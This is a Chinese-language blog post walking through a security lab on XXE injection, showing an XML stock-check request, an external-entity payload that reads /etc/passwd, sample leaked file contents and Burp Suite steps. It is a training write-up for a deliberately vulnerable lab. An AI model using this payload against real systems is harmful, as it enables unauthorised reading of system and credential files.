Lab: Exploiting XXE using external entities to retrieve files:利用外部实体利用 XXE 来检索文件

利用XXE检索文件

要执行从服务器的文件系统中检索任意文件的 XXE 注入攻击,您需要通过两种方式修改提交的 XML:

引入(或编辑)DOCTYPE定义包含文件路径的外部实体的元素。
编辑应用程序响应中返回的 XML 中的数据值,以使用定义的外部实体。
例如,假设购物应用程序通过向服务器提交以下 XML 来检查产品的库存水平:

<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>381</productId></stockCheck>

该应用程序没有针对 XXE 攻击执行特定的防御,因此您可以/etc/passwd通过提交以下 XXE 负载来利用 XXE 漏洞来检索文件:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>

这个 XXE 负载定义了一个外部实体,&xxe;它的值是/etc/passwd文件的内容,并使用productId值中的实体。这会导致应用程序的响应包含文件的内容:

Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

靶场:

该实验室具有“检查库存”功能,可解析 XML 输入并在响应中返回任何意外值。

为了解决实验室问题,注入一个 XML 外部实体来检索/etc/passwd文件的内容。

操作:

  • 访问产品页面,单击“检查库存”,然后在 Burp Suite 中拦截生成的 POST 请求。
  • 在 XML 声明和stockCheck元素之间插入以下外部实体定义:
    - <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
  • 将productId数字替换为对外部实体的引用:&xxe;。响应应包含“无效的产品 ID:”,后跟/etc/passwd文件的内容。
    代码如下
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId><storeId>2</storeId></stockCheck>

image

posted @ 2021-08-26 15:04  Zeker62  阅读(73)  评论(0编辑  收藏  举报